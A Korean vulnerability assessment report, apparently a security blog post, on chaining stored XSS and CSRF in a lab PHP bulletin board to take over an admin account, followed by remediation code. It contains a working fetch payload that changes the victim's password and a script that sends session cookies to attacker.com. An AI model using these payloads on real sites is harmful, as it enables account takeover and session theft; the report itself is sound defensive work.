Post

[VAPT Report] CSRF 토큰 미검증 및 Stored XSS를 통한 계정 탈취 취약점 분석

1. Executive Summary

본 보고서는 자체 개발한 PHP 기반 회원 게시판 시스템에 대한 취약점 진단 결과를 담고 있습니다. 진단 결과, Stored XSS와 CSRF(Cross-Site Request Forgery) 취약점이 복합적으로 존재하여, 공격자가 게시글 하나로 관리자 계정을 탈취할 수 있는 시나리오가 확인되었습니다.

주요 발견사항

항목내용
취약점 유형Stored XSS (CWE-79) + CSRF (CWE-352)
위험도HIGH
CVSS v3.1 Score8.8 (High)
영향받는 기능게시판 글쓰기, 게시글 상세 조회, 마이페이지 회원정보 수정
발견 일자2026-01-25

2. 취약점 상세 분석

2.1 취약점 개요

CSRF(Cross-Site Request Forgery)는 공격자가 피해자의 인증된 세션을 이용하여 의도하지 않은 요청을 서버에 전송하는 취약점입니다.

본 시스템에서는 마이페이지 회원정보 수정 기능(mypage_update.php)에 CSRF 토큰 검증이 없고, Referer 헤더 검증도 없어 POST 요청만으로 비밀번호 변경이 가능한 상태입니다. 여기에 게시판의 Stored XSS 취약점까지 결합하면, 피해자가 게시글을 클릭하는 것만으로 계정 탈취가 가능합니다.

2.2 취약점 발견 위치

위치취약 파라미터공격 벡터
게시글 내용contentStored XSS
게시글 제목titleStored XSS
마이페이지 수정password, addressCSRF

3. Proof of Concept (PoC)

3.1 환경 확인 - 정상 요청 분석

공격에 앞서 마이페이지 수정 요청의 구조를 분석합니다.

user01로 로그인하여 마이페이지를 확인합니다.

user01 마이페이지 Figure 1: user01 계정의 마이페이지 (주소: user01)

회원정보 수정 후 Burp Suite로 요청을 캡처하면:

회원정보 수정 요청 Figure 2: mypage_update.php로 전송되는 회원정보 수정 요청

1
2
3
4
5
POST /logintest/mypage_update.php HTTP/1.1
Host: 192.168.56.104
Cookie: PHPSESSID=041g5mk2e2aoj06sc11im2oj93

username=user01&password=passwd_changed&password2=passwd_changed&address=%ED%8C%A8%EC%8A%A4%EC%9B%8C%EB%93%9C%EB%B3%80%EA%B2%BD

주목할 점:

  • CSRF 토큰 없음: 요청에 토큰 검증이 없음
  • 세션 쿠키만 사용: PHPSESSID만으로 인증
  • Referer 검증 없음: Referer 헤더 변조 가능

실제로 Referer를 http://192.168.56.104/logintest/member_list.php로 변조해도 요청이 성공합니다:

Referer 변조 테스트 Figure 3: Referer 변조 후에도 정상적으로 회원정보가 수정됨

이는 CSRF 공격이 가능함을 의미합니다.

3.2 Stored XSS 취약점 확인

게시판 글쓰기에서 XSS 페이로드 삽입 시 필터링 없이 저장됨을 확인합니다.

XSS 페이로드 삽입 Figure 4: <script>alert(document.cookie)</script> 페이로드 삽입

게시글 클릭 시 스크립트가 실행되어 세션 쿠키가 노출됩니다:

쿠키 알림 Figure 5: 스크립트 실행으로 user01 세션 쿠키 노출

게시글 저장 시 입력값 필터링이 없으며, 출력 시에도 htmlspecialchars() 처리가 되지 않아 Stored XSS 취약점이 존재함.

3.3 복합 공격 - Stored XSS를 통한 CSRF

Step 1: 악성 페이로드 작성 및 저장

Stored XSS를 이용하여 CSRF 요청을 자동으로 전송하는 페이로드를 게시글에 삽입합니다.

CSRF 페이로드 작성 Figure 6: fetch API를 이용한 CSRF 페이로드

1
2
3
4
5
6
7
8
<script>
fetch('http://192.168.56.104/logintest/mypage_update.php',{
    method:'POST',
    headers:{'Content-Type':'application/x-www-form-urlencoded'},
    body:'password=hacked&password2=hacked&address=hacked_by_user01',
    credentials:'include'
});
</script>

페이로드 분석:

  • fetch(): 백그라운드에서 HTTP 요청 전송
  • credentials: 'include': 피해자의 세션 쿠키 자동 포함
  • body: 피해자의 비밀번호를 “hacked”로 변경하고 주소를 “hacked_by_user01”로 설정

Step 2: 피해자(admin) 게시글 접근

admin 계정으로 로그인하여 공격 전 상태를 확인합니다.

admin 마이페이지 Figure 7: 공격 전 admin 계정의 마이페이지 (주소: admin)

악성 스크립트가 저장된 게시글을 클릭합니다.

악성 게시글 클릭 Figure 8: “csrf 테스트” 게시글 클릭

게시글 화면은 비어있지만, 백그라운드에서 스크립트가 실행됩니다.

Step 3: 공격 실행 확인

Burp Suite History에서 두 개의 요청이 연속으로 발생한 것을 확인할 수 있습니다.

Burp History - 게시글 조회 Figure 9: member_view.php 페이지 요청 (#120)

요청 #120 분석:

1
2
GET /logintest/member_view.php?num=92 HTTP/1.1
Cookie: PHPSESSID=5e27idvkehedufsh7jo54qivn1

게시글을 조회하면서 악성 스크립트가 로드되었습니다.

Burp History - CSRF 요청 Figure 10: 자동으로 생성된 mypage_update.php 요청 (#121)

요청 #121 분석:

1
2
3
4
5
6
POST /logintest/mypage_update.php HTTP/1.1
Host: 192.168.56.104
Cookie: PHPSESSID=5e27idvkehedufsh7jo54qivn1
Referer: http://192.168.56.104/logintest/member_view.php?num=92

password=hacked&password2=hacked&address=hacked_by_user01

중요 포인트:

  • admin의 세션 쿠키(PHPSESSID=5e27...)가 자동으로 포함됨
  • 서버는 이를 admin의 정상적인 요청으로 인식
  • Referer 검증이 없어 게시글 페이지에서 온 요청도 그대로 처리됨

응답:

1
2
3
4
<script>
    alert("회원정보가 수정되었습니다.");
    location.href="mypage.php";
</script>

회원정보 수정이 성공적으로 완료되었습니다.

Step 4: 공격 성공 확인

공격 성공 Figure 11: admin의 주소가 “hacked_by_user01”로 변경됨

admin의 주소가 “hacked_by_user01”로 변경되었으며, 비밀번호도 “hacked”로 변경되었습니다. 이제 공격자는 admin / hacked로 로그인할 수 있게 되었습니다.


4. 영향도 분석 (Impact Assessment)

4.1 위험도 평가

CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

항목값설명
Attack Vector (AV)Network (N)네트워크를 통한 원격 공격 가능
Attack Complexity (AC)Low (L)공격 난이도 낮음
Privileges Required (PR)Low (L)일반 사용자 권한으로 공격 가능
User Interaction (UI)Required (R)피해자의 게시글 클릭 필요
Scope (S)Changed (C)다른 사용자(admin)에게 영향
Confidentiality (C)High (H)세션 정보 등 민감 정보 탈취
Integrity (I)High (H)계정 정보(비밀번호) 변경 가능
Availability (A)None (N)가용성에는 영향 없음

최종 점수: 8.8 (HIGH)

4.2 예상 공격 시나리오

시나리오 1: 관리자 계정 탈취 (Account Takeover)

본 PoC에서 확인한 시나리오로, 공격자가 게시판에 악성 스크립트를 삽입한 후 관리자가 해당 게시글을 열람하면 관리자의 비밀번호가 공격자가 지정한 값으로 자동 변경됩니다.

공격 흐름:

  1. 공격자(user01)가 악성 스크립트가 포함된 게시글 작성
  2. 피해자(admin)가 해당 게시글 클릭
  3. 백그라운드에서 스크립트 자동 실행 → admin 세션으로 비밀번호 변경 요청 전송
  4. admin의 비밀번호가 “hacked”로 변경됨
  5. 공격자는 admin / hacked로 관리자 로그인 가능

피해 범위:

  • 관리자 계정 무단 접근
  • 개인정보 열람 및 유출
  • 관리자 권한으로 악의적 행위 수행

시나리오 2: 세션 하이재킹 (Session Hijacking)

1
2
3
4
<script>
var cookie = document.cookie;
fetch('http://attacker.com/steal?data=' + encodeURIComponent(cookie));
</script>

공격 흐름:

  1. 공격자가 악성 스크립트가 포함된 게시글 작성
  2. 피해자가 게시글 목록 또는 상세 페이지 접속
  3. 스크립트 자동 실행 → 피해자의 세션 쿠키를 공격자 서버로 전송
  4. 공격자는 탈취한 세션 쿠키를 이용해 피해자 계정으로 로그인

4.3 비즈니스 영향도

영향 영역심각도설명
사용자 계정 보안상관리자 포함 모든 계정 탈취 가능
서비스 신뢰도상보안 사고 발생 시 서비스 신뢰도 급락
법적 책임중개인정보보호법 위반 가능성
운영 비용중사고 대응 및 복구 비용 발생

5. 보안 대책 (Remediation)

2026 주요정보통신기반시설 기술적 취약점 분석·평가방법 상세가이드 참조: 크로스사이트 요청 위조(CSRF), 크로스사이트 스크립트(XSS)

5.1 CSRF 토큰 적용 (필수)

회원정보 수정 폼에 CSRF 토큰 삽입 및 서버 검증

1
2
3
4
5
6
// mypage.php - 폼 생성 시 토큰 발급
session_start();
$csrf_token = bin2hex(random_bytes(32));
$_SESSION['csrf_token'] = $csrf_token;

echo '<input type="hidden" name="csrf_token" value="' . $csrf_token . '">';
1
2
3
4
5
6
// mypage_update.php - 요청 처리 시 토큰 검증
session_start();
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die('CSRF 토큰 검증 실패');
}
// 검증 통과 후 회원정보 수정 로직 실행

5.2 출력 시 HTML 이스케이핑 (필수)

사용자 입력값을 HTML 엔티티로 변환

1
2
3
4
5
6
7
// Before (취약)
echo $row['title'];
echo $row['content'];

// After (안전)
echo htmlspecialchars($row['title'], ENT_QUOTES, 'UTF-8');
echo htmlspecialchars($row['content'], ENT_QUOTES, 'UTF-8');

적용 대상:

  • member_list.php: 게시글 목록 출력
  • member_view.php: 게시글 상세 출력

5.3 세션 쿠키 보안 설정

중요정보 평문전송 방지 및 JavaScript 접근 차단

1
2
3
4
5
6
7
8
9
10
11
12
<?php
session_start();

// HttpOnly 설정: JavaScript로 쿠키 접근 차단
ini_set('session.cookie_httponly', 1);

// Secure 설정: HTTPS에서만 쿠키 전송
ini_set('session.cookie_secure', 1);

// SameSite 설정: 외부 사이트에서의 쿠키 전송 제한
ini_set('session.cookie_samesite', 'Strict');
?>

5.4 조치사항 우선순위

우선순위조치사항난이도예상 소요시간
CriticalCSRF 토큰 적용중2시간
CriticalHTML 이스케이핑 적용하1시간
High세션 쿠키 보안 설정 (HttpOnly, SameSite)하15분

6. 참고 자료 (References)

6.1 취약점 정보

  • CWE-352: Cross-Site Request Forgery (CSRF)
    • https://cwe.mitre.org/data/definitions/352.html
  • CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)
    • https://cwe.mitre.org/data/definitions/79.html
  • OWASP Top 10 2025: A01:2025 - Broken Access Control
    • https://owasp.org/Top10/
  • OWASP CSRF Prevention Cheat Sheet
    • https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html

6.2 주요정보통신기반시설 기술적 취약점 분석·평가 방법 상세가이드

  • 행정안전부·한국인터넷진흥원 (2026)
  • 관련 항목:
    • 크로스사이트 요청 위조 (CSRF)
    • 크로스사이트 스크립트 (XSS)

6.3 보안 코딩 가이드

  • 소프트웨어 개발 보안 가이드 (한국인터넷진흥원)
  • OWASP Secure Coding Practices
    • https://owasp.org/www-project-secure-coding-practices-quick-reference-guide/

7. 결론 (Conclusion)

본 취약점 진단을 통해 회원 게시판 시스템에서 HIGH 등급의 Stored XSS + CSRF 복합 취약점을 발견하였습니다. 두 취약점이 단독으로도 위험하지만, 결합 시 피해자의 단순한 게시글 클릭만으로 계정 탈취까지 이어질 수 있습니다.

결론: Stored XSS와 CSRF를 결합하면 사용자가 게시글을 클릭하는 것만으로 계정 탈취가 가능합니다. 이를 방어하기 위해서는 입출력 검증, CSRF 토큰, 세션 쿠키 보안 설정을 모두 적용해야 합니다.

권고사항:

  1. 즉시 조치: CSRF 토큰 적용 및 HTML 이스케이핑 (예상 소요시간: 3시간)
  2. 단기 조치: 세션 쿠키 보안 설정 (예상 소요시간: 15분)

위 조치사항을 우선순위에 따라 적용하여 CSRF 및 XSS 취약점을 해결할 것을 권고합니다.


Report Information

  • 작성자: z1N
  • 작성일: 2026-01-25
  • 문서버전: 1.0
  • 보안등급: 내부용 (Internal Use Only)

This post is licensed under CC BY 4.0 by the author.